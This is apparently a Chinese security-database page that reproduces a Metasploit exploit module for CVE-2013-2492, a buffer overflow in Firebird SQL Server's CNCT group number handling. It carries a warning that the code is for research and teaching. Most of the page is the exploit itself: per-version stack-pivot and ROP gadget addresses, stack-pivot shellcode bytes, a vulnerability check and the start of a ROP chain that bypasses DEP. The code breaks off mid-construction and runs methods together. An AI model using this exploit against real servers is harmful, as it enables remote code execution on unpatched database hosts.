链接:http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2492 https://gist.github.com/zeroSteiner/85daef257831d904479c http://www.metasploit.com/modules/exploit/windows/misc/fb_cnct_group https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/fb_cnct_group.rb *>测试方法: --------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ##
require "msf/core"
class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp
def initialize super( "Name" => "Firebird Relational Database CNCT Group Number Buffer Overflow", "Description" => %q{ This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution.
The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked.
This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stackpivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP. }, "Author" => "Spencer McIntyre", "Arch" => ARCH_X86, "Platform" => "win", "References" => [ [ "CVE", "2013-2492" ] ], "DefaultOptions" => { "EXITFUNC" => "seh" }, "Payload" => { # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] "Prepend" => "x64xa1x18x00x00x00x83xc0x08x8bx20", "Space" => 400, "BadChars" => "x00x0ax0d" }, "Targets" => [ # pivots are pointers to stack pivots of size 0x28 [ "Windows FB 2.5.2.26539", { "pivot" => 0x005ae1fc, "rop_nop" => 0x005b0384, "rop_pop" => 0x4a831344 } ], [ "Windows FB 2.5.1.26351", { "pivot" => 0x4add2302, "rop_nop" => 0x00424a50, "rop_pop" => 0x00656472 } ], [ "Windows FB 2.1.5.18496", { "pivot" => 0x4ad5df4d, "rop_nop" => 0x0042ba8c, "rop_pop" => 0x005763d5 } ], [ "Windows FB 2.1.4.18393", { "pivot" => 0x4adf4ed5, "rop_nop" => 0x00423b82, "rop_pop" => 0x4a843429 } ], [ "Debug", { "pivot" => 0xdead1337, "rop_nop" => 0xdead1337, "rop_pop" => 0xdead1337 } ] ], "DefaultTarget" => 0, "Privileged" => true, "DisclosureDate" => "Jan 31 2013" )
register_options([Opt::RPORT(3050)], self.class) end
def check begin connect rescue return Exploit::CheckCode::Safe end
sock.put(check_data) data = sock.recv(16) disconnect
opcode = data.unpack("N*")[0] version = data.unpack("N*")[1] if opcode == 3 # Accept if [ 0xffff800b, 0xffff800c ].include?(version) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Detected end
# this data gets written to the stack via memcpy, no more than 32 bytes can be written overwrite_and_rop_chain = [ target["rop_pop"] ].pack("V") # POP to skip the 4 bytes of the original pivot overwrite_and_rop_chain << [ (target["pivot"] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8] overwrite_and_rop_chain << stack_pivot_rop_chain